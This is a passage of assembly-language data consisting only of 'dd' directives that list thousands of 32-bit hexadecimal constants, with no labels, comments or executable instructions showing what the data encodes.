dd 0E247F641h, 4AA88500h, 0CBAD2107h, 930F3FE8h, 5C1C9B00h
dd 7386FAA6h, 0DA235517h, 4D543A00h, 7E11E4F5h, 77CF8D6h
dd 4CEFD4F4h, 0A00FC0BFh, 1400B68Fh, 0BCBA9A50h, 3A67088h
dd 0B73CB5EEh, 0E1D880D3h, 8900D0A7h, 91A807F6h, 1D7E386Eh
dd 80856FF0h, 0EF343DFAh, 0BA90053Ch, 0E71C46E4h, 2940FEF8h
dd 379626E8h, 626F010Bh, 1D366172h, 0DBB9D8BCh, 4B8F704h
dd 0F3C06EB1h, 14787250h, 0ECD519FCh, 0A0AF4000h, 0BCC0D08Ch
dd 0D0205E4Ch, 0DAC980C8h, 3CBDAE27h, 0AD809C17h, 3DD2743Ch
dd 0D00C119h, 0AA0B0E9Fh, 14C86E08h, 0ECE3EDDDh, 17F76A04h
dd 0CF28A4h, 68418EF5h, 0B65F38F6h, 0F8147074h, 3AE9142h
dd 6FE409EBh, 7D04903Fh, 6D1E1250h, 48A841FDh, 0E0D60A1Ah
dd 0D000F811h, 9B8523DAh, 147DECh, 0E9F5A524h, 5A6A5C02h
dd 0E5552005h, 0CBC7A068h, 24A6E0A0h, 3B17688h, 8B3DA87Ah
dd 8000F543h, 2098DBBEh, 1F03F2A5h, 800EAFC9h, 6A5DE32Bh
dd 0CA7D8954h, 428C1900h, 0E1663C4Ah, 84AD0049h, 32166D7Ah
dd 4F6AEF0h, 6F503900h, 0B4012703h, 3FC1004Ch, 0F23019ACh
dd 2000415h, 50A49F38h, 7A266Eh, 0A256451h, 0FEB34341h
dd 38748400h, 853BCE2Fh, 0C2A03024h, 0A55FE0A0h, 0EFBCA901h
dd 564A57D7h, 6E79C840h, 300C1F48h, 3FD505B0h, 0EB2CC032h
dd 0DA0093F4h, 0AD0D917Eh, 90E527B4h, 0BF9A0084h, 282C2F56h
dd 58B7F717h, 8D370011h, 0CAF613FFh, 2101F4E5h, 4CF1F9BBh
dd 0C040C41Ch, 0F2693Eh, 996F415Fh, 0AF6405DAh, 4F714Ch
dd 363EFE92h, 9A7CBA14h, 0A3270090h, 0D480F262h, 3E12D901h
dd 6F013783h, 0FE2E4AE2h, 17AC5D4h, 500FB332h, 0CC947710h
dd 6C3BC918h, 0F8E326A3h, 7B5F1100h, 0C1A157h, 77DE234Eh
dd 0C96B0335h, 1128F31Eh, 0B3BE5BC0h, 0EC73844h, 3E1752F4h
dd 1CA9801Fh, 1F149DFCh, 80954C39h, 0DEBBD512h, 988CB7E9h
dd 4D88005Ah, 645221A6h, 0F49ABEF4h, 60ABBB00h, 0B2826C93h
dd 58C901D8h, 3646CBC2h, 0E6C3D0E8h, 19E9D3Dh, 8EBB743Dh
dd 0E830029Bh, 0DFE40284h, 0A22C11Ah, 10A18C87h, 0D995AED0h
dd 0AA464E00h, 0BE565F6Fh, 0E7B00390h, 520487E1h, 0FC77C9C1h
dd 3002616h, 2885EB55h, 0E5EF10h, 9A0DD02h, 4DF9A53Dh
dd 0E8505071h, 0E09216E8h, 2F943300h, 0F0E6BEA3h, 222B009Dh
dd 0A96EFB5Eh, 0B7002A2Eh, 4FCBFDE1h, 0EB1D062h, 254A31CEh
dd 5F9C5DFDh, 159140EBh, 3D8CE7B3h, 0FAF38h, 0C16908BFh
dd 0A31857h, 0E6FE8291h, 3983A0C8h, 875CEE01h, 2AF4290Ah
dd 0A796F8D7h, 73707208h, 5FE40Fh, 0AC2930F0h, 4EE750C7h
dd 2CFAE958h, 0B4163508h, 23433C02h, 0A82CC0AEh, 1E360044h
dd 58BA27A9h, 300904Fh, 0DF53B26Ch, 0B3ABFAh, 49BCCEC0h
dd 45F5E53Dh, 21313Bh, 2A0B9816h, 482CC4ECh, 0A33B0D25h
dd 0EBB6D101h, 0E466B1AFh, 8B009150h, 93554A45h, 0ED62BB3h
dd 16D146A0h, 103079C3h, 6980568Bh, 0E8004CD7h, 9E5B820Ch
dd 4EA9511h, 0A83FC074h, 0D88488C2h, 1D5E073Fh, 0B2801970h
dd 276011CFh, 0BAA007Ah, 0A39FBCC8h, 38001A1Fh, 5A087F10h
dd 0D41629h, 4C49CF39h, 2EE55BB3h, 0EB19CA05h, 0A8C0D1A4h
dd 18400564h, 5CBD34EDh, 0E03C4C25h, 0B3BF800Ah, 0DD4F1879h
dd 1020987Eh, 752567B0h, 50272B32h, 61F7E0E0h, 0F664058Bh
dd 771A89h, 9A9DCBC9h, 0D498EB01h, 5F533600h, 803DE727h
dd 7F57008h, 519F5CDCh
dd 0F2BB80E4h, 0D478370Bh, 191A5800h, 126FE3C7h, 0E7DE0066h
dd 0A285E14Bh, 0B749E50Ah, 3BB87648h, 585C4000h, 97B150A1h
dd 0F427002Eh, 1C5FA6EFh, 111D4495h, 7C80C9EAh, 0E5DBB1ACh
dd 225924CEh, 9E00E42h, 62141720h, 0BF245E21h, 600A488h
dd 60CC2A6Ah, 9B6E03A5h, 521CA366h, 70B7CEF8h, 7D1F5A00h
dd 0D57E410Bh, 94A186Bh, 23C76499h, 0B0A0CAECh, 0AF584B0Bh
dd 9AC81F80h, 9C3CBC80h, 1C16FDh, 151FB0B9h, 6FA47502h
dd 0C3F3BCA0h, 991BBE00h, 9D13E1E5h, 81B000FBh, 61912026h
dd 5D00F84Eh, 6D33992h, 9072AFBBh, 5EF107ACh, 8082A49Ah
dd 0FAAE8C85h, 37232D00h, 3E36AB13h, 487A072Eh, 0A4A5510Fh
dd 986D86C2h, 0B3339C05h, 1CC0A9D1h, 757B84BFh, 0E9C4018Bh
dd 2DFB9879h, 7845608Dh, 80C9CB39h, 0CF082F74h, 0CACED9h
dd 0BF0BE5E9h, 0C46BB435h, 0DFF70914h, 0FA4609F8h, 0FBE4489Bh
dd 0D7C81F9Fh, 0EE124051h, 0D547D4Ch, 0A07E3607h, 7B20E569h
dd 4E81A7Ah, 0F99773ACh, 9F848130h, 300DE1C5h, 3A00A578h
dd 4581D83h, 77740CE7h, 71BA044Ah, 81A78EB7h, 24A33907h
dd 5F00816Ch, 6780AE4Ah, 35CB20h, 0ACE4C813h, 96959B88h
dd 0B49EC0F5h, 7F13306h, 388AB0h, 5923CD4Bh, 5450E027h
dd 8839D60Ah, 140398CBh, 0D89A3B49h, 0A2DF40h, 3253510Bh
dd 69F0170Ch, 55656E0Fh, 9A40BECCh, 0A71C9048h, 96B5003Eh
dd 4D814476h, 0FE2811AAh, 732AE271h, 0EE1298B9h, 7CD832EBh
dd 1F510171h, 8C6654DCh, 0F33BF4C8h, 62BD7E1Fh, 618ACBh
dd 2C5B8720h, 0C8FE0B43h, 6CA06644h, 0B1DEE231h, 695C9001h
dd 0B9DA9423h, 8069F547h, 0F13154D0h, 27C8007Dh, 0DA67A373h
dd 665C5082h, 0C0510B4Dh, 0DC80988Ah, 46F3304Dh, 0FF03BB08h
dd 65130B00h, 3330DE01h, 49A10055h, 0CD797F3Ah, 0D2006A62h
dd 9C516147h, 1968C5Ch, 0CE787087h, 0F885E2ACh, 0FC24557Dh
dd 0E60EE472h, 6843A3C4h, 0E95D06Ch, 2BBA00ADh, 84B29320h
dd 0C000A921h, 78384655h, 1EDD9858h, 84A0F03Ah, 0AB0D2B2Fh
dd 4A53E880h, 0B954099Ch, 0E400C284h, 83EFDE02h, 0BCB8B17Ah
dd 79A09117h, 0D8124A00h, 0BA2FEFFh, 29AB7243h, 0CDB9FC80h
dd 3C040588h, 10376C34h, 75E23C87h, 0E7A1E0BFh, 105090D1h
dd 34D65Ah, 0ED618FBAh, 33927828h, 0AF18F952h, 20D2FEE9h
dd 0B7006628h, 0B096C2A1h, 58E2708Eh, 6E0C2F5Dh, 377950FDh
dd 2C0470B5h, 9FA0DBE9h, 11A9409Ch, 4E161F2Dh, 9319121Ch
dd 4F6BC7C0h, 90E4186Fh, 0DE3E00AAh, 0DB4871BCh, 447EB273h
dd 0D3023AE6h, 46638D0Bh, 60644078h, 744510E3h, 37A800F8h
dd 9B65EDB8h, 2F2603C4h, 7DC5AF5Fh, 0F8044DD0h, 0FE913101h
dd 0CDEF4446h, 324E6E4h, 0D125AAACh, 2F98757Eh, 1002C203h
dd 0EB15D086h, 0BFA20001h, 38EA3D8h, 981F3A0Dh, 5EA0632Fh
dd 3300DCE6h, 348D3C97h, 0F072D2C8h, 276213BEh, 0B4C4C07Eh
dd 0E5003A2Ch, 0F3DD065Fh, 0B04F4266h, 9D3D2EFAh, 28971B79h
dd 0BAACFCA0h, 0E1D3D202h, 6874C6CDh, 513418h, 0C4FA95DCh
dd 413EDAD6h, 54FC352Eh, 0B0EAD10Ch, 13E00066h, 593928B3h
dd 922C87A0h, 908074AFh, 84D79ED8h, 0FA80E008h, 2DB800C2h
dd 50C94096h, 0E93EDD73h, 0E84B01C7h, 0ED21A383h, 108C070h
dd 0E1BA5A4Eh, 20738515h, 70EC56BCh, 97F81E00h, 0F4C6D017h
dd 0BD7C0080h, 57E74481h, 14F0EE69h, 7115D4Ch, 0F3B5C0C8h
dd 6A535AE1h, 98015068h, 0B42C32F4h, 1393FF24h, 1ED3758Bh
dd 0E41A04C0h, 0AEEE47E4h, 801DB03Ah, 5A2D97BAh, 6B5632h
dd 0DD646D3Ch, 0BE415486h, 212CCDE6h, 0BA00E4F9h, 0F5CF3595h
dd 8C895932h, 7C666502h, 5460CD78h, 5E00AE4Fh, 0C9BE4CE3h
dd 76175CBFh, 0F2DE1607h, 65BA0743h, 60334174h, 0FDF6ECB5h
dd 58416A26h, 0EC42EC0Ah, 5D483983h, 54C7946Ch, 0BC822095h
dd 684402Dh, 0CF4F05Ah, 963A22CCh, 5E24E430h, 0A180945Bh
dd 16CD8418h, 0EDF08873h, 0E3DD2600h, 1ADC8303h, 0E970E75Ah
dd 524007Eh, 7CBC9CDBh, 3E006C46h, 9BED3A94h, 5D4EF37h
dd 7AE7A644h, 45C44A39h, 0E4C42084h, 0BB8326B3h, 0ECD58194h
dd 301D9F38h, 5E09826Ch, 319844Eh, 898DEBACh, 400B298h
dd 0CA000CF9h, 11F87044h, 1C2383EDh, 4139E2h, 2555DE8Fh
dd 0DC00D2BCh, 4F602743h, 4456FD7h, 91B466C1h, 0D0C4D77Dh
dd 69A1EC04h, 3E5420E1h, 10615B2Ch, 0C8E7D053h, 31F700CAh
dd 1855696Dh, 6800E9D9h, 0FE3A8EFDh, 2D788CFh, 8CF0D2F4h
dd 0A4812F22h, 301E4F1Dh, 0D0A8E19Eh, 0D600C3F8h, 0A15590Ch
dd 0A0134A7h, 20E7E242h, 930585DCh, 0D80A0C2h, 2A9EF30Eh
dd 0C723240Fh, 0FBEE74C0h, 50B200CBh, 6810A124h, 7E0040C6h
dd 0E2761442h, 486B2Fh, 91613771h, 7AADE73h, 0A0D8FC24h
dd 43039A0Bh, 483C70F0h, 0DD89188Dh, 0B2CAF46Bh, 1A00D070h
dd 0C19A86ACh, 3878ECh, 90D853F8h, 81648E3Ah, 5E400C9Ch
dd 88DF66h, 0F950E57Eh, 0FAD5DC0h, 308D44Ch, 28A41882h
dd 78CFD16Ah, 16D696E8h, 9D7566h, 0FDF24020h, 4700200Dh
dd 0FA214127h, 0A1018Dh, 6D50FF6h, 700562C5h, 963E6300h
dd 0B33C3D4Dh, 0C592630h, 0E2C10000h, 62AF7340h, 0EED9811Dh
dd 7C0AA60Fh, 87084900h, 0B68863h, 36343F25h, 0A0EB9058h
dd 0E001B73h, 0C95DE452h, 0B0DED148h, 90C30010h, 0C204C030h
dd 28020791h, 0AD46E503h, 0E1FF429Ch, 68F43838h, 28F504BEh
dd 0E07FF6B4h, 0FD009004h, 0C1C7D3FEh, 0FC1BE081h, 74543BFFh
dd 195AF302h, 4050229Bh, 120C65Ch, 0E6DACF75h, 44200295h
dd 0AE0F2052h, 31936000h, 3599073Ah, 0F6D7B39h, 76AB9B56h
dd 0C0B545A0h, 9F00A11Eh, 0D8B423F8h, 94DD3E87h, 911700h
dd 0A06F2168h, 0D3028D32h, 0ADAB1D4h, 5F484040h, 9279h
dd 34E6BFC6h, 46E9D539h, 0F56CCCA0h, 0A40FAA00h, 8710401Bh
dd 83689049h, 0E1E6A19Bh, 1D4850D0h, 411DAC32h, 0CF409F8Bh
dd 0C4532123h, 3860815Dh, 0D9B7DE60h, 8A973994h, 0B24DC400h
dd 4203A013h, 6F7D0A0Fh, 68882BDBh, 0F4764314h, 3BE50056h
dd 81AD83F4h, 5AF0ED2Fh, 0B64E6600h, 0D3E1E701h, 9C65039Dh
dd 0C9F3B492h, 0DF2777B8h, 2209D900h, 114172C6h, 903E0644h
dd 39E90F2Bh, 0BD780C00h, 12C4A361h, 0F6D20069h, 0E308519Bh
dd 9A01B01Bh, 0ABE9100Eh, 0B6C448C4h, 6C230090h, 34B4F9EDh
dd 0CF00C5A4h, 0EF21E972h, 651637h, 9A50758h, 223DBBF1h
dd 20B3D100h, 5DF7CDA3h, 54990079h, 90AF65B5h, 3FFE7DCCh
dd 53F31E1Eh, 1B19C49h, 0D2C9C2FEh, 0C4B95F4h, 0E2D1D538h
dd 3A074510h, 667C5464h, 6A42C9E0h, 0C6B500CBh, 947861AAh
dd 0E6777FAFh, 0C9F8AD1Eh, 48C2ECC7h, 8C368200h, 0D242127Dh
dd 0FFD000DFh, 33383CE8h, 850B13FCh, 1DB93Bh, 0F28493B9h
dd 598C0015h, 0F661F89Bh, 0C70056E9h, 2526DAFh, 5EC667h
dd 58376B2Dh, 22A4669Eh, 7194CB00h, 0C27CC508h, 2C810053h
dd 0B0E28919h, 5F004D3Bh, 6885C98Ah, 0F29938A0h, 0EC1D0162h
dd 5B7AB122h, 0C68CDC1Ch, 0A5344816h, 7746391Fh, 0E040E361h
dd 2D7D059Bh, 0AF3FB8F1h, 4E6ACE03h, 0CBD7D829h, 92C21883h
dd 1CDD9030h, 65572F03h, 0D82E0805h, 2C69EBh, 7A114ECEh
dd 48595A2h, 2FFD1400h, 3B23936h, 0C86800F2h, 6A98EC10h
dd 24001B5Eh, 0FCE00815h
dd 0F45518h, 7693CBAh, 0BD7E91D9h, 0F2AA9600h, 92C9A797h
dd 219F0099h, 29DA7467h, 9B00C6B1h, 7FA6BBA9h, 3F832369h
dd 143EC031h, 0AD535900h, 0E282BD9Eh, 0D4FF0600h, 0D94DB23Ah
dd 972C003Dh, 738FA938h, 0A41FAD9Dh, 0E08F50C2h, 7EB8015Ch
dd 89C0E48Dh, 0A02D003Ah, 1C583196h, 6B004197h, 0D26DF1ACh
dd 0A9AE44h, 6DC8424h, 0EB987A2Bh, 4CD19E00h, 0CD86588h
dd 0B31C0FECh, 0CF07F4CCh, 98A320FFh, 1E7869D1h, 86291300h
dd 0B5E1C397h, 5720014Fh, 16AF71EDh, 0F656ECF0h, 0C0F2A700h
dd 96884C4h, 500491BDh, 6B007D05h, 3037474Fh, 3B977CE7h
dd 0A280AA65h, 3D452569h, 7912EE9Ch, 0FB05AF9Bh, 0EC4049E0h
dd 0FE7A1927h, 3F0FAC5h, 2FDE5B8Bh, 0CE901FC0h, 0B4028514h
dd 9529B38Eh, 334253h, 0FA72FCECh, 7E8B0021h, 6310F920h
dd 6700C5ADh, 81062773h, 0CD3CFFh, 9CE857B4h, 682271C6h
dd 89A6E400h, 32EE0716h, 12EF3F8Ch, 66E9B40Eh, 16180BEh
dd 202878DEh, 7E5AA00h, 5995CE0Dh, 156800C0h, 1AD8071h
dd 56003C92h, 0C2250747h, 28FDE5h, 4291BD73h, 7B35DCF6h
dd 3798BC7Ch, 61A2840Eh, 5B41405Dh, 0E7623Dh, 66F703E0h
dd 47CAB3D5h, 0F4DE5F05h, 0FC00AEBDh, 0F81F6D91h, 60340E64h
dd 17A0F3A0h, 72CCDB30h, 67428F00h, 93820A2Dh, 0C31D0275h
dd 0FDB6E728h, 0F880FD43h, 9400A865h, 1AC52654h, 0F22C9Ch
dd 0D54E01EBh, 3A10987Bh, 0B806602h, 0C081B8FEh, 0E4A4BAh
dd 1E36172Fh, 2D4316C1h, 0E6D76A00h, 0B17E61EFh, 0A8DEC7Bh
dd 4C6B6993h, 0D63002C4h, 0D8A0C433h, 42740FE7h, 79B56C07h
dd 72108C41h, 5253C6h, 20A701DDh, 45E4B743h, 0F35F1B1Eh
dd 0C28D0FBBh, 7175E05Bh, 23D8196h, 49E6013h, 3840617Ah
dd 0A002AE59h, 0CDBFD7E4h, 908FF786h, 0F0640012h, 1D924BF3h
dd 0D267C107h, 0B4807261h, 1B6FD3h, 0D751ED22h, 0CFA6FBD0h
dd 1DFCE63Ah, 23491AE7h, 1DB28064h, 716C7F93h, 85C600ECh
dd 1B79330Bh, 0D2046F14h, 9BDA36F9h, 9D60C897h, 0E0EEECh
dd 0AF909A92h, 4BE21371h, 0C187201h, 0BB265C42h, 4A0AE8h
dd 35F58D1h, 750644BEh, 5D4EC70Ah, 1A07086Dh, 0C2006A20h
dd 0F4812E8h, 0B03A193Ch, 3371B28Ch, 0DB004D7Bh, 420AA8Dh
dd 140952h, 0BECE4A4Ch, 58969E64h, 0E9F05E7Ch, 0FE117667h
dd 0DAC97080h, 5DBE0054h, 80C8EC32h, 4E001411h, 503081E8h
dd 0F4995F5Ah, 221900B7h, 31870901h, 0C7283B38h, 9D0CD095h
dd 50445A7Fh, 6EFC0019h, 63F46957h, 0DE007A89h, 3DAA4DC9h
dd 0B05A0F43h, 0AE4200CEh, 94027174h, 5500DD0Ah, 0B227BDC1h
dd 364C2C45h, 0A848137Fh, 3500317Eh, 0F008CD59h, 80555Eh
dd 0A8899D94h, 6B3201AFh, 0D050F500h, 0C4162CCBh, 61E0F796h
dd 1420007Bh, 8AB6F021h, 9E00591Fh, 1CFA073Ch, 0DA3D03h
dd 627374BCh, 0D82D6985h, 0DF805602h, 829418C1h, 605D9AACh
dd 423F89h, 3DABB5ACh, 0ACFFE20h, 2EDEF607h, 0A2B03957h
dd 77648C53h, 0E46A0B4Dh, 2F00EC75h, 0CF806C55h, 0EA943Ch
dd 2EDDAE0Bh, 30C2A9h, 0FEAAFFA4h, 8AA0581Ah, 79B5F226h
dd 20E4803Eh, 2934173Dh, 0BDD300B3h, 0D6046158h, 1900E05Eh
dd 8409F24Eh, 9B3473h, 6B938F24h, 3C47AA86h, 70E1251Eh
dd 510D7480h, 4985D272h, 9E2B14B1h, 887C7E04h, 5FBBD623h
dd 940552E0h, 59290598h, 38BAA442h, 5A304118h, 5B4010C6h
dd 6E94002Fh, 23782CB1h, 0DD71F3D7h, 41C5C21Dh, 0B046DE47h
dd 2135C853h, 6F081829h, 62399DDFh, 2203F922h, 55107BD4h
dd 7521C351h, 4201A23Ch, 524476C0h, 15DC4411h, 445C0644h
dd 28A1217Ah, 5F14410Dh, 8F081238h, 90650828h, 37908429h
dd 814044Ah, 0E594476Ah, 0A0DE3F50h, 0A810EFADh, 8700174Dh
dd 36C9A2AEh, 1D1A379Fh, 40A334B9h, 0E349B105h, 3300E692h
dd 0B20667C7h, 28DBC5FBh, 0B008CED9h, 0D3EF1FC7h, 0F59F94h
dd 7D89A21Ah, 50004514h, 54D92B25h, 0D88B63h, 2EADC168h
dd 8683550Bh, 8EFDDC03h, 0E8B31589h, 0FA1B4Bh, 6C28339Ch
dd 4F324031h, 0C766A700h, 3C41A278h, 98F17529h, 9DDB1237h
dd 0A80040A4h, 3812322Ch, 0AB7E53Bh, 80E7C502h, 58217600h
dd 7C5BBFh, 0F88A2B9Bh, 0FD5565F7h, 9F1B9701h, 0C3D140DDh
dd 0EFC75887h, 31E10348h, 8D751000h, 76713CD2h, 0C8400326h
dd 4AA7BD45h, 99D348D8h, 3726203h, 12BFC14Dh, 408674A8h
dd 5044E554h, 1800EF29h, 98F5DDA1h, 770EBE2Bh, 0A9376096h
dd 5CE9E379h, 95040801h, 559FA681h, 7A12C4h, 0DB5186EFh
dd 9BF4022Dh, 96605D07h, 21A088BFh, 47D3C9h, 548AD411h
dd 7D387549h, 53588E00h, 0DDEA3419h, 0A5953E31h, 6B16BA00h
dd 0F6CACEAEh, 0D1190E0Eh, 92A760BDh, 0A4E995h, 80EFCF6Fh
dd 0F69B7599h, 0BC91A300h, 6465BA04h, 0C40300BFh, 99A2FDEAh
dd 73008F49h, 0F8591F2h, 0FEA463h, 770A9BAh, 0C5967CDBh
dd 692EE800h, 3DC8BCA2h, 70D4A062h, 0DF910085h, 5F1005E7h
dd 0A3008E68h, 9E0AEDD1h, 605A5Ch, 0AB3F2B1Dh, 9A3D8C34h
dd 245D620Ah, 5B800831h, 0BC9D06CAh, 0D4ED2443h, 0B5B10038h
dd 3025448Dh, 0A9C6BF1Dh, 0FD2A3280h, 0B7D615h, 117F17ABh
dd 31225D04h, 1DD78D00h, 0F90F02A0h, 0CF1500F7h, 0DED242Ch
dd 110F55ADh, 808EDBCDh, 0D518C559h, 890C4h, 0EDCF3EA3h
dd 3FB4EF3Bh, 0D1B72106h, 2421F7CDh, 3648CC8h, 88F5228Ah
dd 0F90019A6h, 0EF2156BFh, 4B63Dh, 0FE1BA4FDh, 770AD2CBh
dd 0AC6BDF00h, 331497B8h, 7336245Ch, 4E4B016Ch, 0E465AA41h
dd 0D20EE1ACh, 0F8AE1Ah, 0AFB91088h, 222F00FCh, 0A41464C7h
dd 0FB030787h, 7566CD95h, 3BB29085h, 0CF4503A5h, 98BA1549h
dd 9F5E2800h, 7CF6ECAEh, 74E900B3h, 690D0484h, 0F8C712DBh
dd 0C1007F8Dh, 0AA4529h, 0B092E527h, 0FE5795F4h, 84CC511Eh
dd 26BD1C80h, 2F4744A4h, 9A56CF49h, 0D62A2B00h, 7D3FD87h
dd 0A89265B0h, 8BC1D0CAh, 2909A412h, 80D5E6E0h, 0C6FB9BD8h
dd 50A60761h, 0D010FE6Fh, 7DD867F4h, 0EF84100h, 7E75F22Ch
dd 65053B19h, 0E587FE00h, 5D167003h, 7F00EA73h, 669A4CD7h
dd 6808B3h, 3BCFAC99h, 9DEF8D8Eh, 61D66300h, 47902B35h
dd 56E71475h, 0E900C814h, 2FE5596Ah, 7000EB82h, 4376EEC5h
dd 0D36225h, 0A556E9A9h, 5F0F93DAh, 58EBBE03h, 0C97F755Eh
dd 2DD4A7C1h, 134FECCh, 57AE6A67h, 0DC87FC56h, 0A200F0D2h
dd 79393590h, 277B0295h, 72544EB2h, 330F3A04h, 533B30C0h
dd 0B60402E4h, 0A80F3C4h, 0BDF26CC8h, 76D2E61Ch, 3C03A9DEh
dd 0C046094Bh, 869C06h, 683215CFh, 0BBDCEE7Ah, 26060376h
dd 0FDBCEB0Fh, 398A0020h, 6BFC1C40h, 0B826945Dh, 0D6040FAEh
dd 0D280455Fh, 1698BDh, 1D157F2Ch, 61517079h, 4159B8C0h
dd 4D6A32h, 878BD25Bh, 0F28C2AA9h, 0F6E77A00h, 0A8E0CF81h
dd 0DEF466h, 0EACD5130h, 0CCB97EA1h, 64908F77h, 0A4A53228h
dd 5030CE60h, 59A1165Ch, 0EE3EDCF7h, 69D4FB03h, 80975BC2h
dd 0A61790C0h, 11507101h, 21F76E56h, 81BA8844h, 0E04E616Dh
dd 4A028D5Bh, 37FD9F96h, 57684029h, 8BD52AC0h, 0D38700F0h
dd 551FF3Ch, 1501C406h, 7E3A62E6h, 0AEC09FE3h, 0B7E100DAh
dd 0CF978B55h, 407642Dh, 548EC609h, 1ED0A690h, 5D313B9Ch
dd 8956DB80h, 0C2233E6Dh
dd 6722EB0Fh, 0CF0180B3h, 384A396h, 0A6702819h, 0AEA8A978h
dd 5601B9ACh, 7ED9EDFFh, 4821FC91h, 0C3D4FDCh, 0B0033746h
dd 49EA97A8h, 0E7F0A4EAh, 0FBC9E500h, 0F6B9B3F2h, 0BEF0070Ch
dd 0BB15B286h, 0A7B3800h, 0D100BA6Dh, 8CF1F6D6h, 5802C684h
dd 4200104Dh, 8597C294h, 2BFE2431h, 41E0B500h, 5F4E9BEAh
dd 0B00Dh, 0CB991E2Fh, 0EE2269DEh, 97F71A0Ah, 7E05C8B8h
dd 9C80070Ah, 9ACF06h, 0BF1D0C7Fh, 60A11CC9h, 2BFDE500h
dd 5BC8AF51h, 0F30E07FEh, 3090572Dh, 0B3CE3DCDh, 529B9200h
dd 508DEE01h, 13AEA17h, 8F6D144Fh, 8368D5FFh, 7A259F8h
dd 0FBDDD0B6h, 0FC620053h, 63E47685h, 0F8004BB2h, 68071F3Ch
dd 3070EC2Fh, 0F63893E2h, 66004326h, 0A91565A0h, 0E44173h
dd 39D1CFD3h, 4FD2C608h, 0ACA1C1Ch, 157C4700h, 0C4AA2Ah
dd 35955BD6h, 84433D61h, 0CEED4507h, 1700A32Eh, 88ADB9h
dd 0A5F9210Dh, 0D0FA5A2Fh, 7F778600h, 10075803h, 1EC014E3h
dd 7E00F0A8h, 0F9BDFA3Ah, 2F003769h, 0B406373h, 1CAC8203h
dd 0C0722A2Dh, 3C23E9D3h, 20E5BD66h, 459F0BCh, 84642C7Ch
dd 51120F80h, 1F8B6Eh, 9BE1D92Dh, 0AF2ABFAAh, 15D20C02h
dd 0C2A3DD35h, 0DB080070h, 0B0A8749h, 816CC00Dh, 908F8009h
dd 6DD2F02h, 95D4D4C8h, 0C69C4754h, 0AFBD600h, 8EDE8780h
dd 9B030082h, 659A5632h, 0DF6AE01h, 6D3FBE07h, 64B00298h
dd 0F9ADF6h, 0F272F7Bh, 15E34946h, 82704479h, 347A642Eh
dd 594EEE80h, 4F39FBh, 66613099h, 43F241DBh, 17D25760h
dd 70FFDA4h, 322F50D6h, 46EE50A8h, 200C719h, 662BDDDCh
dd 125921C2h, 1F5B57Ch, 7FC0B668h, 94E7D0B7h, 0BBD21C00h
dd 4C9CBDA1h, 6010045h, 2C14E034h, 6B0152AAh, 64E95408h
dd 0F04076C2h, 0AFBBD93h, 23F94E35h, 3AA500DFh, 0B6B8D568h
dd 41D02A00h, 31CFAFEBh, 1D0E050Bh, 0C0296BAAh, 7932A7A4h
dd 0FA72B700h, 0DF7D8FC9h, 0B3BE1B2Fh, 0F3E02009h, 0BF07169Fh
dd 5D658C91h, 0B9DA6BE0h, 30634C36h, 0C8549300h, 82CCE11Ch
dd 0EE1800E1h, 514C48D8h, 69AB7101h, 0CCA20172h, 4A00F4C2h
dd 53432275h, 0B064265Ah, 0E21B09C3h, 9881D1A2h, 0F8FE4FEFh
dd 9216CC73h, 6C09F3DBh, 948B015Bh, 0AF4B9DDh, 4C3DFA5Eh
dd 0EA009399h, 466F032h, 0D40039FEh, 609A2A82h, 136C0B6Eh
dd 2A57C0Ch, 0A8E58F4Ch, 7B697CC0h, 0AE0014EEh, 71432D34h
dd 3328AB4h, 9D2B39F7h, 7CE07307h, 5677AFA6h, 294D9500h
dd 848BAA70h, 0E45D1CD1h, 6D3B4EC3h, 0D6143400h, 0B57248E1h
dd 0B9C2B00h, 0CC085AC6h, 3DC948Bh, 0EE88A5FBh, 41C98097h
dd 0AA0499A1h, 0DCE56AA3h, 7DBD69C0h, 0F4E103E6h, 0C11589B1h
dd 0BC1D73C8h, 4106ACB8h, 0AFF489Ah, 7A780111h, 0B9A88ED2h
dd 0DCCC30ACh, 14E1A301h, 90C3B8DFh, 6168CCh, 2517669Fh
dd 7ED7FE4h, 1DB5A503h, 0D09086EFh, 5931Ch, 0F8E72E4Fh
dd 0A76709C8h, 283074FCh, 0AD5A10F9h, 7BDE00B5h, 6E1413F1h
dd 97745995h, 91D8A10Bh, 0FAB900EFh, 8AC4F7h, 33728853h
dd 2A485845h, 89E52000h, 377B70F9h, 0D9BD0A52h, 0F42F25h
dd 695A40A3h, 9600C8FFh, 1041D7F7h, 0FEF2716Ch, 777109h
dd 1E974216h, 0B6483DADh, 9A03B4EAh, 8035B238h, 75DFF0CEh
dd 680E08E2h, 13811070h, 414D64E6h, 0D13DDCh, 70DBA8Eh
dd 8297DE11h, 0C39EF40Bh, 8D1F814Dh, 0E6F8B5FFh, 0C9D3005Ah
dd 0BAC23BE2h, 660FE783h, 219E14E4h, 655914Ch, 75F89CF9h
dd 8DEF120Ch, 0EAC41CDh, 0F8280DB1h, 4A03B34Dh, 508413DEh
dd 18C1C555h, 40FEF29Dh, 26A3FA8h, 20B7FAFh, 38C0F632h
dd 4D00AA39h, 1F799290h, 158B128Ah, 943AF534h, 0C9F4571Eh
dd 44C8CBC3h, 0CDE2D8C2h, 5C007170h, 0C6E61821h, 0F808233h
dd 0AB0355BEh, 1EC3140h, 9B004DD1h, 39E95D62h, 28F4C7F3h
dd 0E8944F87h, 4DE802FDh, 279732FFh, 18F730E0h, 1E06B800h
dd 0EEABD1A0h, 228A16BBh, 0AF580060h, 6F0FFE7Bh, 0AC2A1C0Ch
dd 3EDF489Dh, 8DA667DEh, 328600C9h, 0B1D76B60h, 2A349100h
dd 0A8833870h, 0A4E602F9h, 1513B8CFh, 9590E4C8h, 61A07800h
dd 0E3AF0538h, 89DD0547h, 49CFA5h, 3291D6F6h, 52030B72h
dd 14354D0Dh, 7A55E890h, 8C92009Dh, 0FF84D22Ah, 5900E9DFh
dd 43C94F4Bh, 0EBE5B0h, 864E071h, 3825CB2Dh, 0F61E3898h
dd 0B02A35C0h, 0A587C713h, 2A173501h, 0ABD81AA2h, 61DD0090h
dd 0EBD0C5ACh, 450056B1h, 0C4295132h, 3DA81AB3h, 1803C3Eh
dd 0ADD28BBCh, 833B2678h, 0B0772A34h, 9842D713h, 407A3843h
dd 59B6D8F5h, 85BB0088h, 22CB4B0h, 94002DA7h, 0B7B9CFCCh
dd 3A4A25h, 8462F89Ah, 0ECCB198Ch, 665A5601h, 9FA38911h
dd 4A01F1F8h, 3A0016Eh, 308F2D57h, 0B1E2834h, 0C101B786h
dd 9F17929h, 81B4DCh, 0FB87CE3Bh, 47F3751Bh, 0B6CB23Ah
